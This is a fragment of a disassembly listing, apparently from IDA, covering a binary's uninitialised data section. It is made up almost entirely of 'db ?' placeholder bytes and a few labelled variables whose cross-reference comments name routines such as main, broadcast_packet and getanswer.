		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
dword_807E300	dd ?			; DATA XREF: sub_805AF5C+24w
					; sub_805B010+3w ...
dword_807E304	dd ?			; DATA XREF: sub_805B144+Fr
					; sub_805B144+18w
unk_807E308	db    ?	;		; DATA XREF: sub_805DE9C+12Eo
					; sub_805DE9C+138o
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
byte_807E358	db ?			; DATA XREF: sub_805D3A8+7Co
					; sub_805D3A8+1FCo ...
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
dword_807E398	dd ?			; DATA XREF: sub_805CCB0+18r
					; sub_805CCB0+4Er ...
unk_807E39C	db    ?	;		; DATA XREF: sub_805E984+1Eo
					; sub_805E984+28o
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
unk_807E3B0	db    ?	;		; DATA XREF: sub_805E9B8+4D6o
					; sub_805E9B8+4E0o
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
unk_807E3C4	db    ?	;		; DATA XREF: sub_805EEA4+F6o
					; sub_805EEA4+100o
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
unk_807E3D8	db    ?	;		; DATA XREF: sub_8060004+5B6o
					; sub_8060004+5C0o
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
unk_807E3EC	db    ?	;		; DATA XREF: sub_80605D0+4Ao
					; sub_80605D0+54o
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
unk_807E400	db    ?	;		; DATA XREF: sub_8060630+136o
					; sub_8060630+140o
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
dword_807E428	dd ?			; DATA XREF: sub_806077C+15w
					; sub_806077C+58o ...
word_807E42C	dw ?			; DATA XREF: sub_806077C+20w
byte_807E42E	db ?			; DATA XREF: sub_806077C+2Cw
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
unk_807E450	db    ?	;		; DATA XREF: sub_8060BD8+18o
					; sub_8060BD8+1Do
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
dword_807E750	dd ?			; DATA XREF: sub_8063664+3r
					; sub_8063664+16w ...
dword_807E754	dd ?			; DATA XREF: sub_80649C0+3r
					; sub_80649C0+11w ...
unk_807E758	db    ?	;		; DATA XREF: sub_8065120+42o
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
		db    ?	;
word_807E768	dw ?			; DATA XREF: sub_8066A50+44r
					; sub_8066A50+60w ...
		db 2 dup(?)
dword_807E76C	dd ?			; DATA XREF: sub_8067094+8r
					; sub_8067094+2Cw ...
dword_807E770	dd ?			; DATA XREF: main+101w	main+461w ...
child_pid	dd ?			; DATA XREF: main+F7w main+24Dr ...
dword_807E778	dd ?			; DATA XREF: main+10Bw	main+25Dr ...
dword_807E77C	dd ?			; DATA XREF: main+234r
dataptr		db ?			; DATA XREF: main+2CFw
					; broadcast_packet+2Co	...
byte_807E781	db ?			; DATA XREF: main+2DBw
byte_807E782	db ?			; DATA XREF: main+2E7w
byte_807E783	db ?			; DATA XREF: main+2F3w
cmdbuffbyte1	dd ?			; DATA XREF: main+2C3w	main+328r ...
dword_807E788	dd ?			; DATA XREF: getanswer+70w
